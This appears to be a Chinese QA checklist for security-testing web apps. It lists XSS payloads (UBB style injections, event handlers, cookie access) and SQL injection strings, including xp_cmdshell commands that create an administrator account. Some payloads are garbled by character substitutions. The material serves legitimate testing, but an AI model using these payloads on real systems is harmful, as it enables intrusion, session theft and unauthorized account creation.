天天看點

安全性測試

建立整體的威脅模型,測試溢出漏洞、資訊洩漏、錯誤處理、 SQL 注入、身份驗證和授權錯誤 . 

輸入驗證 

用戶端驗證伺服器端驗證(禁用腳本調試,禁用Cookies)

1.輸入很大的數(如4,294,967,269),輸入很小的數(負數) 

2.輸入超長字元,如對輸入文字長度有限制,則嘗試超過限制,剛好到達限制字數時有何反應 

3.輸入特殊字元,如:~!@#$%^&*()_+<>:”{}| 

4.輸入中英文空格,輸入字元串中間含空格,輸入首尾空格

5.輸入特殊字元串NULL,null,0x0d 0x0a

6.輸入正常字元串  

7.輸入與要求不同類型的字元,如: 要求輸入數字則檢查正值,負值,零值(正零,負零),小數,字母,空值; 要求輸入字母則檢查輸入數字

8.輸入html和javascript代碼 

1).輸入<html”>”gfhd</html>,看是否出錯; 

2).輸入<input type=”text” name=”user”/>,看是否出現文本框; 

3).輸入<script type=”text/javascript”>alert(“提示”)</script>看是否出現提示;

4).輸入<!—xxx,檢查頁面是否會變形

5).輸入”/>,’/>,檢查是否會出現對于字元

9.對于像回答數這樣需檢驗數字正确性的測試點,不僅對比其與問題最終頁的回答數,還要對回答進行添加删除等操作後檢視變化 

關于上傳

1.上傳檔案是否有格式限制,是否可以上傳exe檔案; 

2.上傳檔案是否有大小限制,上傳太大的檔案是否導緻異常錯誤,上傳0K的檔案是否會導緻異常錯誤,上傳并不存在的檔案是否會導緻異常錯誤; 

3.通過修改擴充名的方式是否可以繞過格式限制,是否可以通過壓包方式繞過格式限制; 

4.是否有上傳空間的限制,是否可以超過空間所限制的大小,如将超過空間的大檔案拆分上傳是否會出現異常錯誤。 

5.上傳檔案大小大于本地剩餘空間大小,是否會出現異常錯誤。 

6.關于上傳是否成功的判斷。上傳過程中,中斷。程式是否判斷上傳是否成功。

7.對于檔案名中帶有中文字元,特殊字元等的檔案上傳。

關于URL: 

1.某些需登入後或特殊使用者才能進入的頁面,是否可以通過直接輸入網址的方式進入;

2.對于帶參數的網址,惡意修改其參數,(若為數字,則輸入字母,或很大的數字,或輸入特殊字元等)後打開網址是否出錯,是否可以非法進入某些頁面; 

3.搜尋頁面等url中含有關鍵字的,輸入html代碼或JavaScript看是否在頁面中顯示或執行。 

4.輸入善意字元。

 UBB: 

1.試着用各種方式輸入UBB代碼,比如代碼不完整,代碼嵌套等等.

2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用

3.輸入編輯器中不存在的UBB代碼,看是否起作用  

連結:

[email=javascript:alert('hello')]EMail[/email] [[email protected]

STYLE="background-image:

url(javascript:alert('XSS'))"][email protected][/email] 

style="background-image:url(javascript:alert('alert(xss)'))"" /> 

[b STYLE="background-image: url(javascript:alert('XSS'))"]一首詩酸澀澀服務網[/b]

[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]

[u]一二三四五六七北京市[/u]

[font=微軟雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[font=微軟雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]

[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]

[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]

[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]

    一二三四五六七北京市

[indent]一二三四五六七北京市[/indent]

[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]

[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media] 

2. 輸出編碼

常用的測試輸入語句有:

<input type="text"/> <input/> <input/  

<script>alert('hello');</script> 1.jpg" οnmοuseοver="alert('xss')

"></a><script>alert(‘xss’);</script> http://xxx';alert('xss');var/ a='a ‘”>xss&< 

a=”\”  b=”;alert(/xss/);//”

<img src=“輸出内容” border=“0” alt=“logo” /> “‟” „”‟ “””

“ “ “ “”“ “‘ ”

title=””

對輸出資料到輸出資料的對比,看是否出現問題。

防止SQL注入

Admin-- ‘or --

„  and  (   )   exec   insert   *   %   chr   mid   

and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49)  ;  %20AND%201=2 „and 1=1    ;  „And  1=1   ;   „aNd   1=1   ; and 1=2    ;   „and 1=2 and 2=2 and user>0

and (select count(*) from sysobjects)>0 and (select count(*) from msysobjects)>0

and (Select Count(*) from Admin)>=0

and (select top 1 len(username) from Admin)>0(username 已知字段) ;exec master..xp_cmdshell “net user name password /add”—

;exec master..xp_cmdshell “net localgroup name administrators /add”— and 0<>(select count(*) from admin)

簡單的如where xtype=‟U‟,字元U對應的ASCII碼是85,是以可以用where xtype=char(85)代替;如果字元是中文的,比如where name=”使用者”,可以用where name=nchar(29992)+nchar(25143)代替。

跨站腳本攻擊(XSS) 

對于XSS,隻需檢查 HTML 輸出并看看您輸入的内容在什麼地方。它在一個 HREF 标記中嗎?是否在 IFRAME 标記中?它在 CLSID 标記中嗎?在 IMG SRC 中嗎?某些 Flash 内容的 PARAM NAME 是怎樣的?

★~!@#$%^&*()_+<>,./?;'"[]{}\- ★%3Cinput /%3E 

★%3Cscript%3Ealert('XSS')%3C/script%3E ★<input type="text"/> 

★<input/> ★<input/   

★<script>alert('xss')</script> ★<script>alert('xss');</script> 

★</script><script>alert(„xss‟)</script> ★javascript:alert(/xss/) 

★javascript:alert(/xss/) 

★<img src="#" οnerrοr=alert(/xss/)>  

★<img src="#" style="Xss:expression(alert(/xss/));">  ★<img src="#"οnerrοr=alert(/xss/) width=100> ★=‟><script>alert(document.cookie)</script>  ★1.jpg" οnmοuseοver="alert('xss') 

★"></a><script>alert(„xss‟);</script> ★http://xxx';alert('xss');var/ a='a ★‟”>xss&< 

★"οnmοuseοver=alert('hello');" ★&{alert('hello');} 

  ★>"'><script>alert(„XSS')</script> 

  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22> ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>   ★

AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22 

  ★%22%2Balert(%27XSS%27)%2B%22 

  ★<table background="javascript:alert(([code])"></table> 

★<object type=text/html data="javascript:alert(([code]);"></object>   ★<body οnlοad="javascript:alert(([code])"></body>   ★a?<script>alert(‟Vulnerable‟)</script> 

★<!--'">&: 

var from = „$!rundata.Parameters.getString(‟from‟)';   var from = ”;hackerFunction(document.cookie);”;   

http://searchbox.mapbar.com /publish/template/template1010/?CID=qingke&tid=tid1010&cityName= 天津<script>alert("hello")</script>&nid=MAPBXITBJRQMYWJRXPCBX 

14.看是否支援tap和enter鍵等;密碼是否可以複制粘貼;密碼是否以* 之類的加秘符号顯示 

備注:邊界值的上點、内點和離點大家應該都知道吧,呵呵,這裡我就不細說了~~ 二、修改密碼 

當然具體情況具體分析哈~不能一概而論~ 

實際測試中可能隻用到其中幾條而已,比如銀行卡密碼的修改,就不用考慮英文和非法字元,更不用考慮那些TAP之類的快捷鍵。而有的需要根據需求具體分析了,比如連續出錯多少次出現的提示,和一些軟體修改密碼要求一定時間内有一定的修改次數限制等等。

1.不輸入舊密碼,直接改密碼

2.輸入錯誤舊密碼

3.不輸入确認新密碼

4.不輸入新密碼 

5.新密碼和确認新密碼不一緻

6.新密碼中有空格

7.新密碼為空 

8.新密碼為符合要求的最多字元

9.新密碼為符合要求的最少字元 

10.新密碼為符合要求的非最多和最少字元

11.新密碼為最多字元-1

12.新密碼為最少字元+

1 13.新密碼為最多字元+1

14.新密碼為最少字元-1 

15. 新密碼為非允許字元(如有的密碼要求必須是英文和數字組成,那麼要試漢字和符号等) 16.看是否支援tap和enter鍵等;密碼是否可以複制粘貼;密碼是否以* 之類的加秘符号

17.看密碼是否區分大小寫,新密碼中英文小寫,确認密碼中英文大寫

18.新密碼與舊密碼一樣能否修改成功

另外一些其他的想法如下: 

1 要測試所有規約中約定可以輸入的特殊字元,字母,和數字,要求都可以正常輸入、顯示正常和添加成功 

2 關注規約中的各種限制,比如長度,大否支援大小寫。 

3 考慮各種特殊情況,比如添加同名使用者,系統是否正确校驗給出提示資訊,管理者帳戶是否可以删除,因為有些系統管理者擁有最大權限,一旦删除管理者帳戶,就不能在前台添加,這給最終使用者會帶來很多麻煩。比較特殊的是,當使用者名中包括了特殊字元,那麼對這類使用者名的添加同名,修改,删除,系統是否能夠正确實作,我就遇到了一個系統,添加同名使用者時,如果以前的使用者名沒有特殊字元,系統可以給出提示資訊,如果以前的使用者名包含特殊字元,就不校驗在插入資料庫的時候報錯。後來查到原因了,原來是在java中拼SQL語句的時候,因為有"_",是以就調用了一個方法在“_”,前面加了一個轉義字元,後來發現不該調用這個方法。是以去掉就好了。是以對待輸入框中的特殊字元要多關注。

4 數值上的長度之類的,包括出錯資訊是否合理  

5 特殊字元:比如。 / ' " \ </html> 這些是否會造成系統崩潰

6 注入式bug:比如密碼輸入個or 1=1

7 登入後是否會用明文傳遞參數 

輸入框測試 

1.驗證輸入與輸出的是否資訊一緻;  

2.輸入框之前的标題是否正确; 

3.對特殊字元的處理,尤其是輸入資訊徐需要發送到資料庫的。特殊字元包括:'(單引号)、"(雙引号)、[](中括号)、()(小括号)、{}(大括号)、;(分号)、<>(大于小于号)……

4.對輸入框輸入超過限制的字元的處理,一般非特殊的沒有作出限制的在255byte左右; 

5.輸入框本身的大小、長度;  

6.不同内碼的字元的輸入;  

7.對空格、TAB字元的處理機制;  

8.字元本身顯示的顔色; 

9.密碼輸入視窗轉換成星号或其它符号; 

10.密碼輸入框對其中的資訊進行加密,防止采用破解星号的方法破解;  

11.按下ctrl和alt鍵對輸入框的影響; 

12.對于新增、修改、注冊時用的輸入框,有限制的,應該輸入時作出提示,指出不允許的或者标出允許的; 

13.對于有限制條件要求的輸入框應當在條件滿足時輸入框的狀态發生相應的改變,比如選了湖南就應該列出湖南下面的市,或者選了某些條件之後,一些輸入框會關閉或轉為隻讀狀态; 

14.輸入類型;根據前面的欄位标題判斷該輸入框應該輸入哪些内容算是合理的。例如,是否允許輸入數字或字母,不允許輸入其他字元等。 

15.輸入長度;資料庫字段有長度定義,當輸入過長時,送出資料是否會出錯。  

16.輸入狀态;當處于某種狀态下,輸入框是否處于可寫或非可寫狀态。例如,系統自動給予的編号等欄位作為唯一辨別,當再次處于編輯狀态下,輸入框欄位應處于不可寫狀态,如果可寫對其編輯的話,可能會造成資料重複引起沖突等。 

17.如果是會進行資料庫操作的輸入框,還可以考慮輸入SQL中的一些特殊符号如單引号等,有時會有意想不到的錯誤出現  

18.輸入類型輸入長度 

是否允許複制粘貼為空的情況空格的考慮半角全角測試 

對于密碼輸入框要考慮顯示的内容是*  輸入錯誤時的提示資訊及提示資訊是否準确  

19.可以先了解你要測試的輸入框在軟體系統的某個功能中所扮演的角色,然後了解其具體的輸入條件,在将輸入條件按照有效等價類,無效等價類,邊界值等方法進行測試用例的設計。 

20.關鍵字有大小寫混合的情況; 

21.關鍵字中含有一個或多個空格的情況,包括前空格,中間空格(多個關鍵字),和後空格; 

22.關鍵字中是否支援通配符的情況(視功能而定);  

23.關鍵字的長度分别為9、10、11個字元時的情況;  

24.關鍵字是valid,但是沒有比對搜尋結果的情況; 

25.輸入html的标簽會出現哪些問題?輸入<html> 會出現什麼問題呢?(這條是我自己發現的,在網上也沒找到類似的東東,呵呵,大家湊合着看吧)  

安全測試方面: 

給出一些特别的關鍵字,比如 or 1=1, 這樣的關鍵字如果不被處理就直接用到資料庫查詢中去,後果可想而知。